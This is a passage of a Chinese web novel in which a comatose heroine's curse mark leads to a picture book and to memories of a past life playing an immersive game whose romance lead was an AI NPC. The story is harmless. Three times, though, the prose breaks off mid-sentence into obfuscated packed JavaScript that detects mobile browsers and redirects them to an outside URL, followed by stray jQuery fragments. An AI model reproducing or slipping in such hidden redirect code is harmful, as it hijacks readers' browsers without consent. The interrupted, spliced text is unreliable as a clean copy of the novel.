这日黄昏,月悬数着慕情跟他邀功的大小事件,不假他人之手,亲自在光秃秃的止院里,种下了十一棵桃树。
无心跟二师兄追影坐在屋檐上喝酒,远远看到大师兄在给院里的桃树浇水,不禁愣了一下。
“看这样子,咱们小师妹怎么好像有希望啊。”
二师兄瞥了一眼,“……何止是有希望。”
这十一棵树,是某人亲手为自己掘开藩篱,心甘情愿地为她敞开了心门。
23. 第 23 章
慕情昏迷的第八日,王府上下弥漫着一种压抑的担忧。
期间,海棠在为慕情擦拭身体时,无意间发现她锁骨下方,靠近心口的位置,竟不知何时,多了一片模糊不清、形似灼烧烙印的黑色印记!
那印记边缘不规则,中心隐约有扭曲的暗纹,透着一股说不出的邪异,而且似乎并不完整。
莫医师闻讯赶来,仔细查看后,眉头紧锁,神色从未有过的凝重:“这……似乎是一种咒印……”
月悬驱动轮椅来到床边,往床上看了一眼便迅速移开视线,眉头皱起。
“这印记形态特殊,特征明显,但此前我从未见过。”
莫医师摇头:“何止是你,老夫行医数十载,遍览医毒典籍,也从未见过。”
新的变故出现,王府众人发动所有力量,各种尘封的古籍、秘典、甚至涉及邪术的禁书都被翻找出来,书房几乎被卷宗淹没。
然而,众人翻遍了所有资料,那黑色印记如同石沉大海,找不到任何与之相关的记载。
它像一个不详的谜题,烙印在慕情身上,也沉甸甸地压在每个人心头。
直到腊月二十七,年关将近的喜庆气氛也无法冲散王府的阴霾。
外出一个多月的眷王李乘风,终于赶在节前风尘仆仆地回到了京城。
令人意外的是,他并非独自归来,身边还跟着一位气质温婉雍容、眉宇间却隐含刚毅的美丽妇人。
她身着素雅的青灰色长裙,外罩同色系薄纱褙子,发髻简单挽起,只簪一支通透的玉簪,通身散发着药草的清冽香气和一种久居高位的沉静气场。
“师父!您可回来了!”无心、海棠、如霜正好都在前院,闻讯惊喜地迎上前。
当看到李乘风身旁的妇人时,无心更是惊喜得几乎跳起来,脱口而出:“师娘!您终于肯回来看我们了!”
那妇人闻言,秀眉蹙起,毫不客气地在无心胳膊上拍了一下。
“什么师娘?我可不是你们师娘了。”
她说着,略带嫌弃地瞥了一眼身旁站着的男人,补充道,“叫我夏姨……或者,按瑶光谷的规矩,叫我一声夏师叔也可以。”
在外威名赫赫、令朝野敬畏的眷王,此刻在曾经的妻子面前,只能赔着笑脸,一句话不敢反驳。
简单的寒暄过后,夏知春目光扫过众人,问道:“怎么不见听寒?还有,你说的那丫头在哪儿?我得亲自看看。”
李乘风自然也不清楚,看向自己的徒弟们:“你们大师兄和慕情呢?”
他话未说完,便发现无心几人的脸色有些变了,互相交换着眼神,欲言又止。
“小师妹她……”无心硬着头皮开口。
“慕情在后院,尚在昏迷之中。”门外响起月悬的声音,打断了无心支支吾吾的话头。
众人闻言都转过头去,看到月悬被钟武推着进入屋内。
他有些疲惫地站起来,对李乘风和夏知春躬身行礼:“义父、义母,我有负所托,没能看顾好她。”
他将这几日发生的事情,从慕情感知到危险强闯楚岚院、爆发精神力重创昏迷、发现诡异咒印到莫医师束手无策,简明扼要地复述了一遍。
李乘风神色严肃,目光扫过几个弟子,气势颇为凌厉。
他离京前千叮万嘱要把人照顾好,怎会弄成这般模样?!
几个弟子都被他看得心虚地低下了头。
月悬主动揽下过错:“是我之过,与他们无关。”
“现在是追究这些的时候吗?”夏知春转头瞪了李乘风一眼,示意月悬坐下,顺手搭上了他的脉搏,片刻后眉头皱起,终究没有多说什么,只道:
“先去看看那丫头吧。”
·
房间内药香弥漫,光线有些昏暗。
慕情安静地躺在锦被中,脸色苍白,呼吸平缓。
夏知春快步走到床边,借着窗外透入的微光,看清她面容。
“哐当!”
她手中提着的药箱,竟失手掉在了地上,里面的瓶瓶罐罐发出一阵清脆的碰撞声。
“像……太像了……”夏知春失神地喃喃自语,“可是,不应该啊……”
她快速坐到床边,一手握住慕情的脉搏,另一手捏着慕情的下颌仔细查看。
“这眉眼……这轮廓……太像了。可她明明已经去世二十年了,就算留下后代,也不该才这点年纪……”
先后跟进屋的月悬几人听得一头雾水,无心忍不住问道:“师……夏姨,您在说谁呀?”
李乘风遣退屋里的下人,然后才对他们说道:“你们可听说过玉音这个人?”
闻言,四个徒弟均神色微动,显然都有所耳闻。
无心想到师娘刚才的话,试探着说道:“玉音……您是说那位……前朝的第一美人,玉音公主?”
这个名字,对在场所有人来说,已经十分久远了,距今已跨越了两次王朝更迭,留下的多是些关于这位公主倾世容颜的缥缈传说。
但身处清明司,他们接触的密档卷宗远超常人,自然也知道一些被时光掩埋的皇室秘辛。
比如这位玉音公主虽然盛名在外,但其实并非皇室子孙,而是当时盛宠一时的瑾贵妃带进宫的女儿,因才情容貌冠绝天下,被当时的皇帝破格封为公主。
海棠说道:“可是……听说前朝覆灭之时,这位玉音公主跟当时的太子一同失踪了,距今已有……三十余年了吧?”
“不错。”夏知春深吸一口气,仿佛要压下翻涌的心绪,目光依旧停在慕情脸上,“离开皇宫后,她隐姓埋名,辗转流离……直到二十年前……死了。”
最后两个字,她说得极轻,却带着沉重的钝痛。
无心忍不住追问:“夏姨,您……认识她?”
夏知春缓缓闭上眼,复又睁开,眼中是沉淀多年的淡淡哀伤。
“玉音……是我的姐姐。”
极少有人知晓,那位名动天下的玉音公主,还有一个亲妹妹。
她们的父亲早逝,一直跟着母亲一起生活,后来母亲被南巡的皇帝看上,带回了宫中。
作为妹妹的夏知春很小就展现出很高的医学兴趣和天赋,早早入瑶光谷修习,而姐姐玉音则随母亲踏入深宫,命运从此分岔。
前朝倾覆后,姐妹俩也曾有过寥寥数面,每一次都如同惊鸿掠影,匆匆而别,最终天人永隔。
这个消息让几人颇为意外,面面相觑片刻,没敢发表什么看法。
“她……难道是玉音公主的女儿?”月悬微皱起眉头。
夏知春却缓缓摇头,带着更深的困惑:“玉音,确实曾有过一个女儿,可惜,那孩子在她去世前两年便夭折了,当时已有四岁多的年纪。”
夭折的女儿与眼前豆蔻年华的慕情,显然有着很大的年龄差异。
“兴许……后来您不知道的时候,她又生了一个呢?”无心小声地嘀咕了一句,声音不大,却清晰地落入了每个人耳中。
众人没有反驳,心里都存了这个可能。
李乘风嘱咐道:“此事颇为敏感,你们断不可向任何人说起。”
在场的几人都没有傻子,纷纷点头应是。
玉音公主虽然并非皇室血脉,可当初她与前朝太子一同失踪……她的女儿,有没有可能也是前朝太子的女儿?
若真是如此,事情就比较麻烦了。
“一切等她醒了再说吧。”夏知春弯腰捡起地上的药箱,动作恢复了医者的沉稳,“听说莫师兄也在京城,请他也过来一趟吧,我需要与他商议。”
为免打扰她诊治,众人依次退出房间,月悬留在最后。
他回头看向床上依旧沉睡的少女,忍不住低声问道:
“您……可有把握?”
夏知春抬眼看他,目光在他写满疲惫和担忧的脸上停留片刻,才缓缓道:
“这丫头神魂受创,更有一股阴邪之力缠绕着她的心脉和意识,因而无法醒来。不过……我修习渡厄针法数十年,或可一试。”
见月悬神色微松,她嘴角才露出点笑意:“放心吧。倒是你,观你气色,比这丫头好不了多少。回去好生歇息,说不定一觉醒来,她便醒了。”
月悬知她对自己的爱护之心,郑重道谢,这才退了出去。
·
慕情醒来时,已经是次日早晨。
温暖的阳光透过窗纱,柔和地洒在床榻上。
她眼皮沉重地动了动,缓缓睁开,视线由模糊渐渐清晰。
朦朦胧胧间,她感觉到床边坐着一个妇人,面容有些熟悉,怔怔地看了片刻,一个称呼几乎是脱口而出,带着久未说话的沙哑:
“……夏姨?”
“你终于醒了。”夏知春脸上露出真切的笑意,和蔼地伸手探了探她的额头,“感觉如何?还记得发生了什么事吗?”
慕情感觉自己的思绪像是隔着一层厚重的纱,迟缓而混沌。
她努力回想,片刻后,才缓缓点了点头,声音微弱却带着一丝急切:“月悬师兄……他……还好吗?”
虽然已经过去了好几天,但对她而言,楚岚院那惊心动魄的一幕,犹在眼前。
“他好得很。”夏知春语气轻松,带着一丝调侃,“就是他那位老父亲,见不得他那副魂不守舍的颓丧样子,一大早就支使他出去办差了。”
慕情闻言,紧绷的心弦终于松了下来
“好了,说说你吧。”夏知春端过一旁温着的药碗,用瓷勺轻轻搅动着深褐色的药汁,氤氲的热气模糊了她的神情。
“孩子,你……可是玉音的女儿?”
“玉音?”慕情第二次听到这个人名,茫然地摇了摇头:“……玉音……是谁?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754026|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏知春眉头微微皱起,又问了她知不知道锁骨下的印记和她的身世来历。
慕情还是茫然摇头,说出来的为数不多的内容,也都是之前夏知春已经知道的。
如同隔靴搔痒,触及不到问题核心。
夏知春叹气:“……罢了,你先好好修养身体。”
此事急也急不来,两人聊了没两句,慕情又疲累地昏睡了过去。
她这一次受伤病重,元气大伤,虽已醒来却依旧虚弱。
接下来的日子,她大多时间都在静养,连房门都很少踏出。
但人好歹是醒了过来,王府中略显紧张的氛围一松,总算是能专心筹备即将到来的年节。
夏知春已多年未曾踏足王府,此番为了照顾慕情,竟破例留了下来,与他们一同度过了一个难得的、充满团圆烟火气的热闹新年。
王府张灯结彩,笑语喧阗,冲淡了冬日的寒意和之前的惊心动魄。
这些时日,王府上下,都对慕情关怀备至,嘘寒问暖。
月悬每日雷打不动地抽空来看望慕情两次。
每一次,他都不空手而来,有时是一盒新出炉、造型精致的点心,有时是一本新淘来的志怪杂谈,有时甚至只是一枝带着雪意、悄然绽放的早梅。
东西或许不贵重,却都透着用心,但因为其他师兄师姐也常来看望,慕情在这样众星捧月般的温暖里,倒也没觉出什么特别的不同来,只当是病后大家格外爱护她。
唯有她身上的那个黑色印记,始终没有眉目。
夏知春与莫医师翻阅了无数典籍,甚至动用了瑶光谷的部分渠道,依旧查不到任何确切的线索。
过了正月十五元宵,凛冬的寒意似乎被节日的暖意驱散了几分,空气中隐约透出一点春的气息。
慕情在暖阁里闷了太久,如同渴望阳光雨露的幼苗,便趁着这日天气晴好,央了海棠师姐带她一同外出。
海棠要去京郊办点事儿,地点在城外一处偏僻的街巷,不敢让她劳心费力,只让她在附近随意走走散心。
慕情便戴了一顶轻纱帷帽,独自在这片贫民聚居的街巷中闲逛。
这里房屋低矮,道路狭窄,生活气息浓烈却也带着几分杂乱,孩童的嬉闹声、妇人的吆喝声、鸡犬相闻之声交织在一起,充满市井烟火气。
巷子口有一棵枝干虬结的老槐树,不知历经了多少岁月。
树下的沙土地被无数脚丫踩踏得光滑细腻,十来个衣衫打着补丁的孩子正在那里追逐嬉戏,笑声清脆如铃。
慕情在边上看了一会儿,发现唯有一个六七岁的小男孩儿独自蹲在角落里,不跟任何人玩,其他人也不搭理他,显得有些格格不入。
她想了想,走上前去,就见那孩子手拿一根枯枝,专注地在沙地上划拉着什么。
那线条虽然稚拙,却充满了天真童趣。
“画什么呢?”慕情蹲下身,隔着帷帽轻纱,笑着问道。
小男孩闻声抬头,露出一张黝黑却笑容灿烂的小脸,丝毫没有孤僻之感。
“我在画小狗。”他眼睛亮晶晶的,乐呵呵地邀请道:“大姐姐,一起玩呀!”
他说的是官话,但带着浓重的西南口音,想来是刚随家中长辈入京不久,难怪受到其他孩子的排挤。
慕情被他的笑容感染,也笑着应了声“好”,随手捡起另一根小树枝。
她本打算随意画些花草猫狗,然而心思转动间,近些日子萦绕心头的困扰,竟在不经意间,随着她的手腕动作,被清晰地勾勒在了沙地上。
虽然模糊残缺,但那扭曲的线条和独特的形态,已足够辨认,正是她身上那个诡异的黑色咒印。
等她猛然回神,意识到自己画了什么时,不禁无奈一笑,有些懊恼。
她正想用树枝将那不祥的图案抹去,改画些别的,旁边一直埋头画自己大作的小男孩却正好抬起头,好奇地瞥见了她的动作和她面前的沙画。
小男孩歪着脑袋,盯着那残缺的图案看了两眼,小眉头嫌弃地皱起,直言不讳:
“好丑啊!姐姐你怎么不画完它?”
他一边说着,一边很自然地伸出自己手里的树枝,在慕情画的那团线条上飞快地添了几笔。
他的动作随意又流畅,仿佛只是完成一件再熟悉不过的事情。
沙沙几笔落下,那原本残缺模糊的图案,瞬间变得清晰完整,严丝合缝,浑然一体。
一股阴冷邪异的气息仿佛透过沙土弥漫开来。
慕情如遭雷击。
她猛地僵住,近乎失态地抓住小男孩的胳膊,声音因为极度震惊而微微发颤。
“你认识这个咒印?!”
小男孩被她突如其来的反应吓了一跳,茫然地眨了眨大眼睛。
“很多人都认识啊,咒印是什么?我们都叫它‘游仙图’。”
24. 第 24 章
“游仙图……”
慕情脑子“嗡”的一声,像是被什么东西迎面撞击了一下,许多碎片般的念头在脑海中狂冲乱撞。
她脑子纷乱,声音也变得有些干涩和紧绷:“游仙图……是什么?你在哪里看到的?”
小男孩感觉到她的情绪变化,瑟缩了一下,不自觉冒出更重的乡音。
“就是一个图撒,这有啥子稀奇的?就在一个画本上,我们那边的娃娃儿都看过。”
“画本?叫什么名字的画本?!是说什么的?你手里还有吗?”她急切地追问了一连串问题。
小男孩被她的激动弄得有些无措,但还是老实回答:“就……就是普通的鬼怪画本,名字叫《梦中游仙》。我只看过,现在没有了。”
慕情猛地站起身,心脏在胸腔里狂跳,似乎有什么东西呼之欲出。
“小弟弟,帮姐姐一个忙!”她语速飞快,指向不远处海棠所在的方向。
“看到那位穿红黑衣服的姐姐了吗?去告诉她,就说慕情有急事先回城了,让她别担心,办完事自己回去就行!”
她匆匆塞给小男孩几个铜板:“姐姐没带什么东西,这个给你买糖。”
小男孩拿着铜板,还有些发愣,慕情已顾不得许多,转身拔腿就跑,朝着城门的方向疾奔而去。
京城内,书肆林立。
慕情像一只无头苍蝇,焦急地穿梭在错综复杂的街巷里。
她一家家书肆问过去,从繁华的朱雀大街到偏僻的小巷书摊,呼吸因奔跑而变得急促。
“《梦中游仙》?没听说过……”
“画本?没有这本。”
“西南来的?我们这儿少有那边的书……”
每一家店主和伙计都纷纷摇头。
不知跑了多少家,终于,在一家藏在深巷、堆满了旧书杂卷的小书铺角落里,她找到了一本薄薄的册子……
封面是普通的竹纸,表面只已经磨损泛黄,写着歪歪扭扭的四个大字——梦中游仙。
笔触粗陋,仿佛是谁随手涂鸦之作。
她迫不及待地翻开。
第一页是大片的、潦草涂抹的漆黑阴影,唯有一道光线落下,照出黑暗中的重重鬼影,以及……一个扎着醒目红头绳的小女孩。
她正惊慌失措地回头张望,大大的眼睛里是茫然与恐惧。
“轰——!”
这幅潦草却极具冲击力的画面,再次触发了慕情的记忆片段。
天旋地转间,她脑中瞬间闪过无数画面——白色的墙壁、白色的布帘、监护仪器日夜不停的滴滴声、手术室惨白的灯光。
还有一个陌生的女声,带着温和笑意:“又疼了?我带你玩游戏好不好?分散一下注意力……”
……
慕情脸上血色褪尽,握着书册的手指用力到骨节泛白。
一股寒意从脚底直窜头顶,浑身冰冷。
她拿着那本《梦中游仙》,浑浑噩噩地回到王府,
刚踏上台阶,一个熟悉的声音便从旁响起:“慕情?”
是月悬。他似乎正要出门,身后还跟着海棠和无心。
“你一声不吭跑哪儿去了?没受伤吧?”海棠松了一口气,连忙拉住她的胳膊上下查看。
慕情有些恍惚地摇了摇头,取下头上的帷帽,将手中破旧的书册递给了他们,嘴唇翕动,却不知该说什么。
月悬的目光落在她苍白的脸上,眉头微蹙,接过书册快速翻阅。
无心、海棠也好奇地围拢过来。
画本看起来非常普通,且制作粗糙,只有薄薄的二十多页,讲述的是一个小女孩误闯幽冥界,遇到各种各样怪物的老套故事。
类似这样的志怪图本,市场上随随便便就能找出一箩筐,而且画风要比它精美得多。
慕情的视线也投在月悬手中的纸张上,那被孩童称为“游仙图”的图案,被以各种角度铺满每一页,叠在怪物图之下,隐隐晦晦,不仔细看恐怕会以为是纸张自带的暗纹。
月悬翻了两页就发现了问题,眉头蹙得更深,立即问慕情:“这书你哪儿来的?”
“是……一个小朋友告诉我的……”慕情失魂落魄地把事情经过告诉了他们。
“这……”无心翻着那粗糙的画风,线条幼稚,内容粗暴。
他眉头拧成了疙瘩,“这种粗制滥造的东西,怎么会跟咒印扯到一起?”
谁也没有想到,他们查了无数资料的都没有找到源头的咒印,居然就这么堂而皇之地印在这本儿童画册上。
线索是找到了,可又像是打开了另一个谜语。
唯一可以肯定的是,这画册定然不是这个咒印的真正源头,而是藏着什么信息。
可他们对着画册研究半天,也没研究出什么特别之处来,无论是李乘风、夏知春还是莫医师,都纷纷摇头。
最后只能先在京中打探,同时派人火速远赴西南,去查这本画册的出处、作者以及流传情况。
而慕情始终有些神思不属,仿佛所有的力气都在找到这本书时耗尽了,回来后也一直没有出声。
直到讨论结束,她才恍惚告辞,抱着那本薄薄的书册,走回了自己的房间,甚至没顾得上多看月悬几眼。
其余众人互相对视一眼,表情难掩担忧。
·
夜,深沉而寂静。
慕情蜷缩在床上,那本《梦中游仙》就放在枕边。
疲惫和混乱终于将她拖入了沉沉的梦境,这一次,不再是破碎而模糊的闪回,而是连贯而清晰的、属于另一个世界的记忆。
她坐在一间宽敞却冰冷的单人病房里,窗外是灰蒙蒙的天空。
消毒水的气味顽固地钻进鼻腔。
白衣白帽的年轻实习护士推着换药车进来,动作轻柔,声音带着职业性的温和。
“今天感觉怎么样?”护士一边熟练地准备着药品,一边对她的背影说道,“你总望着窗外发呆,在看什么呢?”
她低头,看见自己穿着宽大的病号服,膝盖上横着一本制作粗糙的画册,翻开的页面已经有些泛黄老旧。
护士似乎已经习惯了她不说话,也顺着她的视线看过去,笑着说道:
“我前几天推荐你的游戏,你去玩了吗?游戏名跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782206|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你这本画册名字很像呢,叫《游仙记》。这是近年来最先进的一款古风全息游戏了,你要是疼得难受或者无聊了,可以进去逛逛。”
她的目光依旧停留在画册上,手指无意识地摩挲着粗糙的纸页。
过了许久,她才点了点头,几不可闻地说了一个字:“……好。”
终于得到她的回应,护士似乎很高兴,放下药品走到她身后,推起她的轮椅。
“那我们先来换药,可能有一点疼,你不要乱动哦。”
单人病房角落里有一个大衣柜,上面安装着一块落地的衣帽镜。镜面光洁,清晰地映出面前的一切事物。
她路过的时候偏了偏头。
镜子里,是一张……面目全非的脸。
长长的疤痕像是蜈蚣盘踞其上,拉得脸上的皮肤、肌肉都完全变形,有一侧脸颊皮肤颜色明显不同,带着植皮后无法消除的痕迹和僵硬感。
她不小心瞥了一眼,立即低下头去,抬手扒拉了一下披散的长发,遮住大半张脸。
护士的动作僵了一下,随即传来无力又显得有些干巴的安慰:
“没关系的……你这么年轻,恢复能力好,等过几年这些疤痕会慢慢变淡……你看,两年前医生还说你的双腿动不了呢,现在我们不是也可以慢慢站起来了?”
她低着头:“……我不在意,能活着就很好了。”
·
画面跳转,依旧是那间病房,光线更暗了些。
她躺在病床上,护士正小心翼翼地将一个充满科技感的银灰色头盔戴在她头上。
游戏头盔的感应片紧密地贴合头皮,带来一阵轻微的刺激感,冰冰凉凉的。
“这是我表妹闲置的设备,她去外地上学忘带了,又重新买了一个。里面的账号信息都清干净了,你放心玩,就当新号。”护士一边调整着线路,一边解释。
她摆弄着连接线,声音带着不确定:“我之前……没有玩过这种游戏……”
“放心啦!”护士笑着拍拍她的肩膀,语气轻松,“现在技术很成熟了,一点都不会难受。它会扫描你的脑波,给你一个全新的身份和体验。在游戏世界里,身体上的不适感会被屏蔽掉,你可以自由奔跑、飞翔……不过,”
护士语气转为严肃,“虽然给你测精神力的时候,数值高得吓人,连医生都说罕见,但你毕竟还在恢复期,身体虚弱,每次最多玩两小时!一分钟也不许超,不然,时间到了我就来强制帮你断开连接,知道吗?”
慕情有时觉得自己就是病床上的少女,有时又觉得似乎是一个旁观者。
她不记得护士这段话是在开玩笑,还是真的实行了,只觉得她好像玩了很久很久……沉迷其中,难以自拔……
她经常贴着感应片躺在床上,一躺就是很久。
直到周遭画面变得模糊,耳边隐约传来心电监护仪刺耳的、拉成长音的“滴——”声,还有纷乱的脚步声、焦急的呼喊……
“病人心脏骤停!”
“准备除颤!”
“肾上腺素!”
……
“滴————————”
25. 第 25 章
长鸣的“滴”声尖锐刺耳,穿透梦境。
慕情骤然惊醒,猛地坐起身,心脏在胸腔里疯狂擂动,呼吸急促。
窗外已经天色大亮,她掀开被子下床,匆匆洗漱后失魂落魄地走出房间。
今日又是个难得的好天气,清晨的阳光洒在庭院里,温暖而真实。
她近乎偏执地伸出手指,去触摸廊柱上的雕花,触摸回廊外的石栏,触摸花坛里的草叶,试图寻找这是一个虚拟游戏世界的证据。
但没有,包括阳光下飞扬的细小尘埃,空气中淡淡的青草香气,远处街道上传来的叫卖声音,无一不清晰。
每一处细节都具体而微,充满了勃勃生机。哪怕凑得再近,也不会看到建模的粗糙和虚假的像素点。
这就是一个真实的世界。
她想试着召唤一下游戏退出键,却忽而一顿,发现自己想不起来这个游戏的具体玩法了,连怎么进入、怎么退出的细节都记不起来。
脑中有些模糊的画面,但都是聚焦在她和月悬两人身上,画面之外则是模糊的,怎么也想不起来了。
梦中那个护士姐姐说,这个虚拟游戏世界自由度很高,玩法丰富多样,看来她只专注在恋爱攻略这一块儿了……
没想到自己死后穿越到这个真实世界,竟然还是在专注玩恋爱攻略,还死皮赖脸地假冒人家小师妹……
但这次可不是程序设定了一定会喜欢玩家的AI,而是活生生、有血有肉、有自己思想和情感的人。
月悬肯定觉得很莫名其妙吧……
慕情简直想哭。
她像个怨气很深的游魂一样,垮着个脸四处游荡,恍惚间竟然不自觉逛到了止院,站在门口愣了很久。
“慕情姑娘?”钟武的声音带着一丝惊讶,他正从院中出来,看到她连忙道,“来了怎么不说一声?外面风凉,快进来吧。”
是了,她现在进入止院,已经可以不受阻拦了。
在钟武的邀请下,慕情恍惚地进了止院。
清晨的薄雾尚未散尽,带着湿润的凉意。她的目光无意识地扫过庭院,脚步却突然停住了。
止院里出现了明显的变化,
原本修剪整齐的草坪和低矮的观赏灌木不见了,靠近书房窗下的那片区域,泥土被精心翻整过,呈现出新鲜的深褐色。
十几棵尚显稚嫩的小树苗被整齐地栽种在那里,为了抵御春寒,每一棵小树的树干都被厚厚的稻草和粗布条严严实实地缠绕着。
即使被包裹得密不透风,慕情也一眼就认出来了。
那是她之前费尽心机、想尽各种办法,甚至不惜“收买”师兄师姐们帮忙,都没能成功种进止院的桃花树苗!
电光火石间,楚岚院外那个血色弥漫的夜晚涌入脑海。
她昏迷前,用尽最后一丝力气,攥着他的衣襟,像个无赖般讨要的“奖励”……
慕情:“……!!!”
一股滚烫的热意猛地冲上脸颊,她尴尬羞愧得脸色通红,蹲下捂脸,难以面对现实。
怎么会有人这么讨厌,仗着自己受了伤,就胁迫别人答应自己的奇怪要求。
正生无可恋时,月悬的声音在廊下响起:
“蹲在那儿做什么,怎么不进来?”
慕情仿佛被针扎了一样蹦起来,根本不敢往屋里看,转头就跑。
“没……没什么!我走错了!”
她丢下一句慌乱到语无伦次的话,如同身后有恶鬼追赶,头也不回地冲出止院,转瞬消失在回廊的拐角。
月悬站在书房门口,目光从空荡荡的回廊拐角收回,缓缓落在院中那片新栽的桃树苗上。
它们种下已半月有余,她终于看见了。
可……怎么是这个反应?
月悬难得感到有些困惑,心中感受亦十分复杂,既松了一口气,又有些……隐晦的失落。
·
眷王府上下很快察觉到,慕情的状态好了一段时间后又开始恶化。这次却不是身体上的,而是精神上的。
她变得异常安静,时常精神恍惚,极少再踏出房门,更不再主动靠近月悬。
大多数时候,她把自己独自关在房间里,不与任何人交流,与之前活泼爱闹的性格相比,简直判若两人。
偏偏前几天,夏知春见她情况好转,又牵挂姐姐玉音的线索,已经随王府派出的人,一起去西南调查了。
莫医师虽在,但他精于药石,在针法上面远不及夏知春精深。面对慕情这种讳莫如深、拒绝交流的精神状态,他亦是束手无策。
每次问诊,慕情只是摇头,时常走神,不肯吐露半分心绪。
海棠、无心,甚至向来寡言的如霜和追影,都去敲过她的门,结果无不铩羽而归,没说上几句话,便收到她隐晦的“送客”之意。
最惨的还是月悬,去找过她好几次,她不是在洗漱,就是正准备就寝,不然就是头疼要休息……竟然连门都进不去。
他站在紧闭的门外,听着里面慕情闷闷的声音,眉宇间第一次染上了清晰的、挥之不去的忧色与无奈。
这日吃过午饭,慕情又回到房间里,坐在床上抱着被子发呆。
她近些日子精神恍惚,是因为陆陆续续想起了很多以前的事情。
记起了自己曾是个现代人,因高考前出车祸毁容、烧伤,失去一切,长期在医院疗养。
在病房孤寂岁月里,仅有的娱乐是一本从小带在身边的画册,还有好心的护士姐姐赠送的游戏。
她在游戏里成功攻略了一个虚拟恋人,代号月悬,本名沈听寒。
全息古风游戏《游仙记》,以超大地图、超丰富玩法、超高自由度闻名。
该游戏的超级AI核心“神钩”,尤其擅长制造沉浸感。它构建推演出庞大的游戏世界,赋予NPC极其复杂且动态变化的情感流动,几乎让人难以辨别真实与虚幻。
在这里,她找到了一个新的自己,或者说,从前的自己。
每个人都夸她活泼善良有生气,热心助人不求回报,像个小太阳。
很多人对她释放善意,而她选择了攻略月悬。
在游戏里,每个可攻略的NPC都是为玩家需求服务的,天然对玩家有着区别于他人的特殊态度。
而沈听寒这个角色,在设定上,与她有十几年的师兄妹情谊,所以对待她时总是格外温柔包容,至于其中是否有特殊的情感,则见仁见智。
反正慕情攻略他的时候,几乎没有费什么力气。
她将自己的爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788057|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意、情感需求全部倾泻在这个AI角色上,每天跟他聊天互动。又因为他不是真人,设定上最爱玩家,永远不会变心,也永远不会背叛,所以她几乎无所顾忌。
在这里她不用在意身体的残缺,心理的阴郁,她几乎完美无瑕,可以肆无忌惮地宣泄情感,简直像是皮肤饥渴症一样,总是渴望亲近的拥抱。
但月悬明显不太适应,很少主动抱她。
虽然只要她开口索要,他总会满足,但那拥抱总是带着一丝克制,从不主动,也从不会更近一步。
至于更亲近的亲吻,则更不用多说。哪怕慕情红着脸主动要求,他也只会浅浅地吻一下额头。
在她不依不饶地一再要求下,才会略显生涩地吻过她的脸颊、鼻尖、唇角……
她知道,游戏世界再真实,终究是AI推演,不可能尽善尽美,而且还有“和谐”规则束缚,即便当成乙女游戏玩,也不过局限在亲亲而已,干不了更过分的事情。
她也没想过别的,但月悬被动的态度还是让她有些难受。
她玩得太认真了,把自己的感情投入进去,所以慢慢地开始越来越贪心,开始不满足于这种被动的、需要她不断索取的“爱意”。
她试图与他沟通,带着委屈质问:“你为什么不主动一点?每次都要我要求……”
月悬在认错态度上总是堪称完美无瑕。
他脸颊微红:“抱歉,是我疏忽了。下次……我会主动些。”
声音中满是温柔和歉意。
“下次?”慕情心中有些憋闷,她想要的是现在的行动,而不是还没兑现的保证。
她哼出一口气:“我不要下次……你现在就主动一个!”
“好。”
月悬无奈又宠溺地笑笑,微微倾身,一个轻柔的吻落在她的眉心。
慕情皱起眉头,并没有觉得开心,反而更有一股闷气堵在心里。
她说不清为什么,只觉得这“主动”也像是在她明确的指令下,被逼出来的程序反应。
她开始不断地找茬,试图寻找他程序设定之外的“真实”。
只是,越试探就越失望。
慕情发现月悬什么都听她的,她有什么需求他都会尽力满足,但是她从来看不到他的需求,哪怕是她有意引导,往往也无法得到准确答案。
比如有一次,慕情心情莫名开心,在庭院中找到独自静坐的月悬。她像只快乐的鸟儿跑过去,探身在他脸颊上飞快地亲了一口。
月悬怔了一下,耳根微红,揽住她的后背,“在外面呢……会被人看见。”
“为什么怕人看见?”慕情仰着脸,笑容灿烂,“你不喜欢我在外面亲近你吗?”
月悬笑了:“不会,你做什么我都喜欢,想做什么都可以。”
慕情心底那点雀跃瞬间熄灭,一股熟悉的闷气又堵了上来。
她强压下翻涌的情绪,扯出一个笑容,带着撒娇的语气:“不要这样嘛。我想知道你真实的喜好。如果你不喜欢,我就不在外面这样了,好不好?”
月悬抬手轻轻理了理她的鬓发,笑着说:“这世上,我最喜欢的,便是你。”
慕情被哄到了,但无法忽视这个回答的笼统和模糊,她还是没有得到她想要的答案。
26. 第 26 章
还有一次慕情想给月悬送个礼物,兴致勃勃地打探:“你有什么想要的东西吗?”
月悬牵着她,语调温柔:“并无特别偏爱之物,只要是你所赠,我都喜欢。”
但慕情知道他有,他喜欢白玉珊瑚、喜欢下棋、喜欢青瓷……
